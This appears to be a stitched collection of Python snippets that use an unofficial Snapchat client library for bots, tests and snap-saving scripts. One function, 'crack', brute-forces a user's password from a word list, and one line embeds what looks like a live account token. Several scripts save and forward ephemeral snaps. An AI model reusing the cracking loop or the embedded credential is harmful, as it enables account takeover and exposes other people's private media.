def main(): arguments = docopt(__doc__) quiet = arguments['--quiet'] username = arguments['--username'] if arguments['--password'] is None: password = getpass('Password:'******'--password'] path = arguments['<path>'] if not os.path.isdir(path): print('No such directory: {0}'.format(arguments['<path>'])) sys.exit(1) s = Snapchat() if not s.login(username, password).get('logged'): print('Invalid username or password') sys.exit(1) for snap in s.get_friend_stories(): filename = '{0}_{1}.{2}'.format(snap['sender'], snap['id'], get_file_extension(snap['media_type'])) abspath = os.path.abspath(os.path.join(path, filename)) if os.path.isfile(abspath): continue data = s.get_story_blob(snap['media_id'], base64.b64decode(snap['media_key']), base64.b64decode(snap['media_iv'])) if data is None: continue with open(abspath, 'wb') as f: f.write(data) if not quiet: print('Saved: {0}'.format(abspath))
def gif_to_snap(gif='', login='', password='', recips=''): """ Turn a gif into a snap! :param gif: the path to the gif file :param login: snapchat login :param password: password for snapchat :param recips: comma delimited list of snapchat usernames to recieve this snap :return: """ # Convert to mp4 first mp4 = convert_to_mp4(gif) if len(mp4) <= 0: print "Whoa, we couldn't convert that gif to a video! BEEP BOOP ERRORS." return # Log in to snapchat print "Logging into snapchat as " + login s = Snapchat() s.login(login, password) if s.username != login: print "Derp, invalid credentials, doofus." return # Upload MP4 to snapchat media_id = s.upload(path=mp4) if media_id is None: print "Error while uploading to snapchattery" return # Send that snap out! sent = s.send(media_id=media_id, recipients=recips,time=10) if sent: print "Wow it happened! you are so cool." else: print "Sorry, it failed sending... :("
def __init__(self, username, password, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.auth_token = STATIC_TOKEN self.username = username self.password = password r = self._make_request("/loq/login", { 'username': self.username, 'password': self.password }) result = r.json() self.auth_token = result['updates_response']['auth_token'] self.client = Snapchat() self.client.username = username self.client.auth_token = self.auth_token self.current_friends = self.get_friends() self.added_me = self.get_added_me() if hasattr(self, "initialize"): self.initialize(**kwargs)
def main(): arguments = docopt(__doc__) quiet = arguments['--quiet'] username = arguments['--username'] if arguments['--password'] is None: password = getpass('Password:'******'--password'] #path = arguments['<path>'] path = "snaps" if not os.path.isdir(path): print('No such directory: {0}'.format(arguments['<path>'])) sys.exit(1) s = Snapchat() if not s.login(username, password).get('logged'): print('Invalid username or password') sys.exit(1) for snap in s.get_snaps(): filename = '{0}_{1}.{2}'.format(snap['sender'], snap['id'], get_file_extension(snap['media_type'])) abspath = os.path.abspath(os.path.join(path, filename)) if os.path.isfile(abspath): continue data = s.get_blob(snap['id']) if data is None: continue with open(abspath, 'wb') as f: f.write(data) # If we successfully mark this as viewed, go ahead and email it. if s.mark_viewed(snap['id']): # Setup email message msg = MIMEMultipart() msg['From'] = "Snapchat" msg['To'] = email_toaddrs msg['Subject'] = "Snapchat from %s" % snap['sender'] body = "You have received a new snapchat from %s" % snap['sender'] msg.attach(MIMEText(body, "plain")) msg.attach(MIMEImage(data)) # The actual mail send if not quiet: print("Sending mail!") server = smtplib.SMTP() server.connect('mailhub.iastate.edu', 25) server.ehlo() server.starttls() #server.login('username', 'password') server.sendmail(email_fromaddr, email_toaddrs, msg.as_string()) server.quit() if not quiet: print('Saved: {0}'.format(abspath))
class SnapchatTestCase(unittest.TestCase): def setUp(self): responses.reset() self.snapchat = Snapchat() @responses.activate def test_login(self): login_url = AUTH_URL + 'loq/login' responses.add(responses.POST, login_url, body='{"updates_response": \ {"auth_token":"123","username":"******"}}', status=200, content_type='application/json') self.assertEqual({"updates_response": { "auth_token": "123", "username": "******"}}, self.snapchat.login('eggs', 'spam')) responses.reset() responses.add(responses.POST, login_url, body='{}', status=404, content_type='application/json') self.assertRaises(HTTPError, self.snapchat.login, 'eggs', 'spam') responses.reset() responses.add(responses.POST, login_url, body='', status=200, content_type='application/json') self.assertRaises(ValueError, self.snapchat.login, 'eggs', 'spam') responses.reset() responses.add(responses.POST, login_url, body='{"status":"401","message":"Incorrect password"}', status=200, content_type='application/json') self.assertRaises(Exception, self.snapchat.login, 'eggs', 'spam') @responses.activate def test_logout(self): responses.add(responses.POST, URL + 'bq/logout', body='', status=200, content_type='application/json') self.assertTrue(self.snapchat.logout()) responses.reset() responses.add(responses.POST, URL + 'bq/logout', body='{}', status=404, content_type='application/json') self.assertRaises(HTTPError, self.snapchat.logout) responses.reset() responses.add(responses.POST, URL + 'bq/logout', body='{}', status=200, content_type='application/json') self.assertFalse(self.snapchat.logout())
class SnapchatTestCase(unittest.TestCase): def setUp(self): responses.reset() self.snapchat = Snapchat() @responses.activate def test_login(self): responses.add(responses.POST, URL + 'login', body='{}', status=200, content_type='application/json') self.assertEqual({}, self.snapchat.login('eggs', 'spam')) responses.reset() responses.add(responses.POST, URL + 'login', body='{}', status=404, content_type='application/json') self.assertRaises(HTTPError, self.snapchat.login, 'eggs', 'spam') responses.reset() responses.add(responses.POST, URL + 'login', body='', status=200, content_type='application/json') self.assertRaises(ValueError, self.snapchat.login, 'eggs', 'spam') @responses.activate def test_logout(self): responses.add(responses.POST, URL + 'logout', body='', status=200, content_type='application/json') self.assertTrue(self.snapchat.logout()) responses.reset() responses.add(responses.POST, URL + 'logout', body='{}', status=404, content_type='application/json') self.assertRaises(HTTPError, self.snapchat.logout) responses.reset() responses.add(responses.POST, URL + 'logout', body='{}', status=200, content_type='application/json') self.assertFalse(self.snapchat.logout())
def crack(username): print("now cracking: " + username) snapchat = Snapchat() passwords = open("passwords.txt","r") i = 0 for password in passwords: result = snapchat.login(username,password) if (result['logged']!=False): print("success: username: "******"\t password: " + password) break else: print(str(i)) i+=1
def receive(username, password): path = "pictures" quiet = True if not os.path.isdir(path): print('No such directory: {0}'.format(path)) sys.exit(1) s = Snapchat() if not s.login(username, password).get('logged'): print('Invalid username or password') sys.exit(1) for snap in s.get_snaps(): process_snap(s, snap, path, quiet)
def login(): form = LoginForm(request.form) if request.method == 'POST' and form.validate(): snapchat = Snapchat() snapchat.login(form.username.data, form.password.data) rsp = make_response(redirect(url_for('index'))) rsp.set_cookie('username', snapchat.username) rsp.set_cookie('auth_token', snapchat.auth_token) return rsp return render_template('login.html', form=form)
def __init__(self, username, password, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.username = username self.password = password self.client = Snapchat() self.client.login(username, password) self.current_friends = self.get_friends() self.added_me = self.get_added_me() if hasattr(self, "initialize"): self.initialize(**kwargs)
def make_snapchat(ctx): ctx.storage.snapchat = Snapchat() if not ctx.storage.snapchat.login(ctx.config.username, ctx.config.password) \ .get("logged"): raise Exception("could not log into Snapchat") ctx.bot.scheduler.schedule_every(timedelta(seconds=30), poll_for_updates)
def __init__(self, username, password, authtoken = None, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.auth_token = STATIC_TOKEN if authtoken is not None: self.auth_token = authtoken else: self.username = username self.password = password r = self._make_request("/loq/login", { 'username': self.username, 'password': self.password }) result = r.json() print result self.auth_token = result['updates_response']['auth_token'] self.client = Snapchat() self.client.username = username self.client.auth_token = self.auth_token self.current_friends = self.get_friends() self.added_me = self.get_added_me() if hasattr(self, "initialize"): self.initialize(**kwargs)
def main(): arguments = docopt(__doc__) quiet = arguments['--quiet'] username = arguments['--username'] if arguments['--password'] is None: password = getpass('Password:'******'--password'] path = arguments['<path>'] if not os.path.isdir(path): print('No such directory: {0}'.format(arguments['<path>'])) sys.exit(1) s = Snapchat() if not s.login(username, password).get('logged'): print('Invalid username or password') sys.exit(1) for snap in s.get_snaps(): process_snap(s, snap, path, quiet)
def main(): arguments = docopt(__doc__) username = arguments['-u'] if arguments['-p'] is None: password = getpass('Password:'******'-p'] path = arguments['-d'] save = arguments['-s'] verbose = arguments['-v'] whiteListFile = arguments['WHITELIST'] if not os.path.isdir(path): print('No such directory: {0}'.format(path)) sys.exit(1) s = Snapchat() if verbose: print('Attempting to log in as {0}.'.format(username)) if not s.login(username, password).get('logged'): print('Invalid username or pasword') sys.exit(1) if verbose: print('Attempting to open whitelist file at {0}.'.format(whiteListFile)) with open(whiteListFile, 'r') as f: whitelist = [line.rstrip() for line in f] if verbose: print('Succesfully read whitelist and extracted {0} lines. Attempting to handle friends'.format(len(whitelist))) #sys.exit(0) addFriends(s,whitelist,verbose) for snap in s.get_snaps(): if verbose: print('Working with snap') sendSnapToStory(s,snap,path,save,verbose) sys.exit(0)
def sendtostory(username, password): s = Snapchat() s.login(username, password) while True: uploadfile = input("File you want to upload> ") if uploadfile == "exit": return if os.path.isfile(uploadfile): upl = s.upload(uploadfile) s.send_to_story(upl, time=10) else: print("File does not exist")
def main(): arguments = docopt(__doc__) quiet = arguments['--quiet'] username = arguments['--username'] period = int(arguments['--waittime']) if arguments['--password'] is None: password = getpass('Password:'******'--password'] s = Snapchat() if not s.login(username, password).get('logged'): print('Invalid username or password') sys.exit(1) print('Running Brunonia for ' + username + ' on directory ' + os.getcwd()) while True: #fetching snaps print('Fetching snaps...') for snap in s.get_snaps(): process_snap(s, snap, os.getcwd(), False) print('Waiting for ' + str(period) + ' seconds...') time.sleep(period) return 0
def __init__(self, username, password, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.username = username self.password = password self.client = Snapchat() self.client.login(username, password) self.current_friends = self.get_friends() self.added_me = self.get_added_me() self.events = [] self.ticks = 0 if hasattr(self, "initialize"): self.initialize(**kwargs)
def send(username, password): s = Snapchat() s.login(username, password) while True: print("Type 'exit' to return") uploadfile = input("File you want to upload> ") if uploadfile == "exit": return if os.path.isfile(uploadfile): upl = s.upload(uploadfile) name = input("Who do u want to send it to> ") if name == "exit": return s.send(upl, name) else: print("File does not exist")
def initialize_and_monitor(): snapObject = Snapchat() snapObject.login(userAuth.USERNAME, userAuth.PASSWORD) #imported from a file called userAuth.py, which has two variables, USERNAME = "******" and PASSWORD = "******" added_snaps = [] if (os.path.isfile("./pickled_files/added_snaps.pkl")): added_snaps = pickle.load(open("./pickled_files/added_snaps.pkl", 'rb')) try: while True: snaps = [] for snap in snapObject.get_snaps(): if snap['sender'] != 'teamsnapchat' and snap['id'] not in added_snaps: snaps.append(snapObject.get_blob(snap['id'])) added_snaps.append(snap['id']) count = 0 paths = [] for snap in snaps: currpath = 'snap'+ str(count) + ".jpeg" if snap: with open(currpath, 'wb') as f: f.write(snap) paths.append(currpath) count += 1 media_ids = [snapObject.upload(path) for path in paths] for media_id in media_ids: is_sent = snapObject.send_to_story(media_id) print(is_sent) for path in paths: os.remove(path) print('Finished one iteration, sleeping for a minute now') time.sleep(60) except: traceback.print_exc(file=sys.stdout) finally: with open("./pickled_files/added_snaps.pkl", 'wb') as output: pickle.dump(added_snaps, output, -1) sys.exit()
def main(): arguments = docopt(__doc__) quiet = arguments['--quiet'] username = arguments['--username'] if arguments['--password'] is None: password = getpass('Password:'******'--password'] path = arguments['<path>'] if not os.path.isdir(path): print('No such directory: {0}'.format(arguments['<path>'])) sys.exit(1) s = Snapchat() if not s.login(username, password).get('logged'): print('Invalid username or password') sys.exit(1) while True: try: for snap in s.get_snaps(): filename = '{0}_{1}.{2}'.format(snap['sender'], snap['id'], get_file_extension(snap['media_type'])) abspath = os.path.abspath(os.path.join(path, filename)) if os.path.isfile(abspath): continue data = s.get_blob(snap['id']) if data is None: continue with open(abspath, 'wb') as f: f.write(data) if not quiet: print('Saved: {0}'.format(abspath)) time.sleep(5*60) except HTTPError: # v pripade ze se prihlasim na snapchatu na mobilu tak me to odhlasi tady print('logged of, waiting for another five minutes') time.sleep(5*60) del s s = Snapchat() if not s.login(username, password).get('logged'): print('Invalid username or password') sys.exit(1)
#!/usr/bin/env python from pysnap import Snapchat import secrets import os path = os.path.dirname(os.path.realpath(__file__)) + '/tmp.jpg' s = Snapchat() s.login(secrets.USERNAME, secrets.PASSWORD) for friend in [friend['name'] for friend in s.get_updates()['added_friends'] if friend['type'] == 1]: s.add_friend(friend) snaps = [snap for snap in s.get_snaps() if snap['status'] == 1 and snap['media_type'] == 0] for snap in snaps: with open(path, 'wb') as f: f.write(s.get_blob(snap['id'])) media_id = s.upload(path) print s.post_story(media_id, 5) s.mark_viewed(snap['id'])
class SnapchatBot(object): def __init__(self, username, password, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.username = username self.password = password self.client = Snapchat() self.client.login(username, password) self.current_friends = self.get_friends() self.added_me = self.get_added_me() self.events = [] self.ticks = 0 if hasattr(self, "initialize"): self.initialize(**kwargs) def log(self, message, level = logging.DEBUG): logger.log(level, "[%s-%s] %s" % (self.__class__.__name__, self.bot_id, message)) def process_snap(self, snap_obj, data): media_type = snap_obj["media_type"] sender = snap_obj["sender"] snap_id = snap_obj['id'] duration = snap_obj['time'] snap = Snap(data = data, snap_id = snap_id, media_type = media_type, duration = duration, sender = sender) return snap def mark_viewed(self, snap): self.client.mark_viewed(snap.snap_id) def listen(self, timeout = DEFAULT_TIMEOUT): while True: self.log("Querying for new snaps...") snaps = self.get_snaps() if hasattr(self, "on_snap"): for snap in snaps: self.on_snap(snap.sender, snap) added_me = self.get_added_me() newly_added = set(added_me).difference(self.added_me) newly_deleted = set(self.added_me).difference(added_me) self.added_me = added_me if hasattr(self, "on_friend_add"): for friend in newly_added: self.log("User %s added me" % friend) self.on_friend_add(friend) if hasattr(self, "on_friend_delete"): for friend in newly_deleted: self.log("User %s deleted me" % friend) self.on_friend_delete(friend) self.ticks += 1 freq = 0 while self.ticks % 2**freq == 0: if freq < len(self.events): for func in self.events[freq]: func() freq += 1 time.sleep(timeout) def register_event(self, freq, func): if len(self.events) <= freq: self.events.extend([[] for i in xrange(1 + freq - len(self.events))]) self.events[freq].append(func) def get_friends(self): return map(lambda fr: fr['name'], self.client.get_friends()) def get_added_me(self): updates = self.client.get_updates() return map(lambda fr: fr['name'], updates["added_friends"]) def send_snap(self, recipients, snap): self.log("Preparing to send snap %s" % snap.snap_id) if not snap.uploaded: self.log("Uploading snap %s" % snap.snap_id) snap.upload(self) if type(recipients) is not list: recipients = [recipients] recipients_str = ','.join(recipients) self.log("Sending snap %s to %s" % (snap.snap_id, recipients_str)) self.client.send(snap.media_id, recipients_str) def post_story(self, snap): if not snap.uploaded: self.log("Uploading snap") snap.upload(self) self.log("Posting snap as story") self.client.send_to_story(snap.media_id, media_type = snap.media_type) def add_friend(self, username): self.client.add_friend(username) def delete_friend(self, username): self.client.delete_friend(username) def block(self, username): self.client.block(username) def get_snaps(self, mark_viewed = True): snaps = self.client.get_snaps() ret = [] for snap_obj in snaps: if snap_obj['status'] == 2: continue data = self.client.get_blob(snap_obj["id"]) if data is None: continue snap = self.process_snap(snap_obj, data) if mark_viewed: self.mark_viewed(snap) ret.append(snap) return ret
class SnapchatBot(object): def __init__(self, username, password, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.auth_token = STATIC_TOKEN self.username = username self.password = password r = self._make_request("/loq/login", { 'username': self.username, 'password': self.password }) result = r.json() self.auth_token = result['updates_response']['auth_token'] self.client = Snapchat() self.client.username = username self.client.auth_token = self.auth_token self.current_friends = self.get_friends() self.added_me = self.get_added_me() if hasattr(self, "initialize"): self.initialize(**kwargs) def log(self, message, level=logging.DEBUG): logger.log( level, "[%s-%s] %s" % (self.__class__.__name__, self.bot_id, message)) @staticmethod def process_snap(snap_obj, data, is_story=False): media_type = snap_obj["media_type"] sender = snap_obj["sender"] snap_id = snap_obj['id'] duration = snap_obj['time'] snap = Snap(data=data, snap_id=snap_id, media_type=media_type, duration=duration, sender=sender, is_story=is_story) return snap def mark_viewed(self, snap): self.client.mark_viewed(snap.snap_id) def listen(self, timeout=DEFAULT_TIMEOUT): while True: self.log("Querying for new snaps...") snaps = self.get_snaps() if hasattr(self, "on_snap"): for snap in snaps: self.on_snap(snap.sender, snap) added_me = self.get_added_me() newly_added = set(added_me).difference(self.added_me) newly_deleted = set(self.added_me).difference(added_me) self.added_me = added_me if hasattr(self, "on_friend_add"): for friend in newly_added: self.log("User %s added me" % friend) self.on_friend_add(friend) if hasattr(self, "on_friend_delete"): for friend in newly_deleted: self.log("User %s deleted me" % friend) self.on_friend_delete(friend) time.sleep(timeout) def get_friends(self): return map(lambda fr: fr['name'], self.client.get_friends()) def get_added_me(self): updates = self.client.get_updates() return map(lambda fr: fr['name'], updates["added_friends"]) def send_snap(self, recipients, snap): media_id = self._upload_snap(snap) if type(recipients) is not list: recipients = [recipients] recipients_str = ','.join(recipients) self.log("Sending snap %s to %s" % (snap.snap_id, recipients_str)) self.client.send(media_id, recipients_str, snap.duration) def post_story(self, snap): media_id = self._upload_snap(snap) response = self.client.send_to_story(media_id, snap.duration, snap.media_type) try: snap.story_id = response['json']['story']['id'] except: pass def delete_story(self, snap): print snap.story_id if snap.story_id is None: return self.client._request('delete_story', { 'username': self.username, 'story_id': snap.story_id }) def add_friend(self, username): self.client.add_friend(username) def delete_friend(self, username): self.client.delete_friend(username) def block(self, username): self.client.block(username) def process_snaps(self, snaps, mark_viewed=True): ret = [] for snap_obj in snaps: if snap_obj['status'] == 2: continue data = self.client.get_blob(snap_obj["id"]) if data is None: continue snap = self.process_snap(snap_obj, data) if mark_viewed: self.mark_viewed(snap) ret.append(snap) return ret def process_stories(self, stories): ret = [] for snap_obj in stories: media_key = base64.b64decode(snap_obj['media_key']) media_iv = base64.b64decode(snap_obj['media_iv']) data = self.client.get_story_blob(snap_obj['media_id'], media_key, media_iv) if data is None: continue snap_obj['sender'] = self.username snap = self.process_snap(snap_obj, data, is_story=True) ret.append(snap) return ret def get_snaps(self, mark_viewed=True): snaps = self.client.get_snaps() return self.process_snaps(snaps) def get_my_stories(self): response = self.client._request('stories', {'username': self.username}) stories = map(lambda s: s['story'], response.json()['my_stories']) return self.process_stories(stories) def get_friend_stories(self): response = self.client._request('stories', {'username': self.username}) ret = [] stories_per_friend = map(lambda s: s['stories'], response.json()['friend_stories']) for stories_obj in stories_per_friend: stories = map(lambda so: so['story'], stories_obj) ret.extend(self.process_stories(stories)) return ret def clear_stories(self): for story in self.get_my_stories(): self.delete_story(story) def _upload_snap(self, snap): if not snap.uploaded: snap.media_id = self.client.upload(snap.file.name) snap.uploaded = True return snap.media_id def _make_request(self, path, data=None, method='POST', files=None): if data is None: data = {} headers = { 'User-Agent': 'Snapchat/8.1.1 (iPhone5,1; iOS 8.1.3; gzip)', 'Accept-Language': 'en-US;q=1, en;q=0.9', 'Accept-Locale': 'en' } now = timestamp() if method == 'POST': data['timestamp'] = now data['req_token'] = make_request_token(self.auth_token, str(now)) resp = requests.post(BASE_URL + path, data=data, files=files, headers=headers) else: resp = requests.get(BASE_URL + path, params=data, headers=headers) return resp
from app import app from pysnap import get_file_extension, Snapchat from flask import request import json import shutil import os import sys from glob import glob from getpass import getpass from zipfile import is_zipfile, ZipFile from docopt import docopt snapchat = Snapchat('secondwindsnaps', '2433fd63b5389757d0786ebf056a946e') def process_snap(snap, s=snapchat, path='app/static/snap/', quiet=False): snap = snap['story'] filename = '{0}.{1}'.format(snap['media_id'], get_file_extension(snap['media_type'])) snap['filename'] = 'snap/' + filename snap['mediatext'] = False abspath = os.path.abspath(os.path.join(path, filename)) if os.path.isdir(path + snap['id']): snap['mediatext'] = True snap['filename'] = 'snap/{}/media.mp4'.format(snap['id']) return snap if os.path.isfile(abspath): return snap data = s.get_blob(snap['id'])
class SnapchatBot(object): def __init__(self, username, password, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.username = username self.password = password self.client = Snapchat() self.client.login(username, password) self.current_friends = self.get_friends() self.added_me = self.get_added_me() if hasattr(self, "initialize"): self.initialize(**kwargs) def log(self, message, level=logging.DEBUG): logger.log(level, "[%s-%s] %s" % (self.__class__.__name__, self.bot_id, message)) @staticmethod def process_snap(snap_obj, data): media_type = snap_obj["media_type"] sender = snap_obj["sender"] snap_id = snap_obj['id'] duration = snap_obj['time'] snap = Snap(data=data, snap_id=snap_id, media_type=media_type, duration=duration, sender=sender) return snap def mark_viewed(self, snap): self.client.mark_viewed(snap.snap_id) def listen(self, timeout=DEFAULT_TIMEOUT): while True: self.log("Querying for new snaps...") snaps = self.get_snaps() if hasattr(self, "on_snap"): for snap in snaps: self.on_snap(snap.sender, snap) added_me = self.get_added_me() newly_added = set(added_me).difference(self.added_me) newly_deleted = set(self.added_me).difference(added_me) self.added_me = added_me if hasattr(self, "on_friend_add"): for friend in newly_added: self.log("User %s added me" % friend) self.on_friend_add(friend) if hasattr(self, "on_friend_delete"): for friend in newly_deleted: self.log("User %s deleted me" % friend) self.on_friend_delete(friend) time.sleep(timeout) def get_friends(self): return map(lambda fr: fr['name'], self.client.get_friends()) def get_added_me(self): updates = self.client.get_updates() return map(lambda fr: fr['name'], updates["added_friends"]) def send_snap(self, recipients, snap): self.log("Preparing to send snap %s" % snap.snap_id) if not snap.uploaded: self.log("Uploading snap %s" % snap.snap_id) snap.upload(self) if type(recipients) is not list: recipients = [recipients] recipients_str = ','.join(recipients) self.log("Sending snap %s to %s" % (snap.snap_id, recipients_str)) self.client.send(snap.media_id, recipients_str) def post_story(self, snap): if not snap.uploaded: self.log("Uploading snap") snap.upload(self) self.log("Posting snap as story") self.client.send_to_story(snap.media_id, media_type=snap.media_type) def add_friend(self, username): self.client.add_friend(username) def delete_friend(self, username): self.client.delete_friend(username) def block(self, username): self.client.block(username) def get_snaps(self, mark_viewed=True): snaps = self.client.get_snaps() ret = [] for snap_obj in snaps: if snap_obj['status'] == 2: continue data = self.client.get_blob(snap_obj["id"]) if data is None: continue snap = self.process_snap(snap_obj, data) if mark_viewed: self.mark_viewed(snap) ret.append(snap) return ret
(TUMBLR_CONSUMER_KEY, TUMBLR_CONSUMER_SECRET, TUMBLR_OAUTH_TOKEN, TUMBLR_OAUTH_SECRET, TUMBLR_BLOG_NAME) = [ os.getenv(line.rstrip()) for line in open("tumblr_secrets", "r") ] SNAPCHAT_USER, SNAPCHAT_PASS = [os.getenv(line.rstrip()) for line in open("snapchat_secrets", "r")] try: imgur = pyimgur.init_with_refresh(IMGUR_CLIENT_ID, IMGUR_CLIENT_SECRET, IMGUR_REFRESH_TOKEN) imgur.refresh_access_token() tumblr = pytumblr.TumblrRestClient( TUMBLR_CONSUMER_KEY, TUMBLR_CONSUMER_SECRET, TUMBLR_OAUTH_TOKEN, TUMBLR_OAUTH_SECRET ) snapchat = Snapchat() snapchat.login(SNAPCHAT_USER, SNAPCHAT_PASS) except pyimgur.requests.exceptions.ConnectionError as e: imgur = None tumblr = None snapchat = None print "No internet?" class SpelunkyVideo(CvVideo): def __init__( self, input_file, gif_path="gifs", temp_path="tmp",
def setUp(self): responses.reset() self.snapchat = Snapchat()
class SnapchatBot(object): def __init__(self, username, password, authtoken = None, **kwargs): self.bot_id = uuid.uuid4().hex[0:4] self.auth_token = STATIC_TOKEN if authtoken is not None: self.auth_token = authtoken else: self.username = username self.password = password r = self._make_request("/loq/login", { 'username': self.username, 'password': self.password }) result = r.json() print result self.auth_token = result['updates_response']['auth_token'] self.client = Snapchat() self.client.username = username self.client.auth_token = self.auth_token self.current_friends = self.get_friends() self.added_me = self.get_added_me() if hasattr(self, "initialize"): self.initialize(**kwargs) def log(self, message, level=logging.DEBUG): logger.log(level, "[%s-%s] %s" % (self.__class__.__name__, self.bot_id, message)) @staticmethod def process_snap(snap_obj, data, is_story = False): media_type = snap_obj["media_type"] sender = snap_obj["sender"] snap_id = snap_obj['id'] duration = snap_obj['time'] snap = Snap(data=data, snap_id=snap_id, media_type=media_type, duration=duration, sender=sender, is_story=is_story) return snap def mark_viewed(self, snap): self.client.mark_viewed(snap.snap_id) def listen(self, timeout=DEFAULT_TIMEOUT): while True: self.log("Querying for new snaps...") snaps = self.get_snaps() if hasattr(self, "on_snap"): for snap in snaps: self.on_snap(snap.sender, snap) added_me = self.get_added_me() newly_added = set(added_me).difference(self.added_me) newly_deleted = set(self.added_me).difference(added_me) self.added_me = added_me if hasattr(self, "on_friend_add"): for friend in newly_added: self.log("User %s added me" % friend) self.on_friend_add(friend) if hasattr(self, "on_friend_delete"): for friend in newly_deleted: self.log("User %s deleted me" % friend) self.on_friend_delete(friend) time.sleep(timeout) def get_friends(self): return map(lambda fr: fr['name'], self.client.get_friends()) def get_added_me(self): updates = self.client.get_updates() return map(lambda fr: fr['name'], updates["added_friends"]) def send_snap(self, recipients, snap): media_id = self._upload_snap(snap) if type(recipients) is not list: recipients = [recipients] recipients_str = ','.join(recipients) self.log("Sending snap %s to %s" % (snap.snap_id, recipients_str)) self.client.send(media_id, recipients_str, snap.duration) def post_story(self, snap): media_id = self._upload_snap(snap) response = self.client.send_to_story(media_id, snap.duration, snap.media_type) try: snap.story_id = response['json']['story']['id'] except: pass def delete_story(self, snap): print snap.story_id if snap.story_id is None: return self.client._request('delete_story', { 'username': self.username, 'story_id': snap.story_id }) def add_friend(self, username): self.client.add_friend(username) def delete_friend(self, username): self.client.delete_friend(username) def block(self, username): self.client.block(username) def process_snaps(self, snaps, mark_viewed = True): ret = [] for snap_obj in snaps: if snap_obj['status'] == 2: continue data = self.client.get_blob(snap_obj["id"]) if data is None: continue snap = self.process_snap(snap_obj, data) if mark_viewed: self.mark_viewed(snap) ret.append(snap) return ret def process_stories(self, stories): ret = [] for snap_obj in stories: media_key = base64.b64decode(snap_obj['media_key']) media_iv = base64.b64decode(snap_obj['media_iv']) data = self.client.get_story_blob(snap_obj['media_id'], media_key, media_iv) if data is None: continue snap_obj['sender'] = self.username snap = self.process_snap(snap_obj, data, is_story = True) ret.append(snap) return ret def get_snaps(self, mark_viewed=True): snaps = self.client.get_snaps() return self.process_snaps(snaps) def get_my_stories(self): response = self.client._request('stories', { 'username': self.username }) stories = map(lambda s: s['story'], response.json()['my_stories']) return self.process_stories(stories) def get_friend_stories(self): response = self.client._request('stories', { 'username': self.username }) ret = [] stories_per_friend = map(lambda s: s['stories'], response.json()['friend_stories']) for stories_obj in stories_per_friend: stories = map(lambda so: so['story'], stories_obj) ret.extend(self.process_stories(stories)) return ret def clear_stories(self): for story in self.get_my_stories(): self.delete_story(story) def _upload_snap(self, snap): if not snap.uploaded: snap.media_id = self.client.upload(snap.file.name) snap.uploaded = True return snap.media_id def _make_request(self, path, data = None, method = 'POST', files = None): if data is None: data = {} headers = { 'User-Agent': 'Snapchat/8.1.1 (iPhone5,1; iOS 8.1.3; gzip)', 'Accept-Language': 'en-US;q=1, en;q=0.9', 'Accept-Locale': 'en' } now = timestamp() if method == 'POST': data['timestamp'] = now data['req_token'] = make_request_token(self.auth_token, str(now)) resp = requests.post(BASE_URL + path, data = data, files = files, headers = headers) else: resp = requests.get(BASE_URL + path, params = data, headers = headers) return resp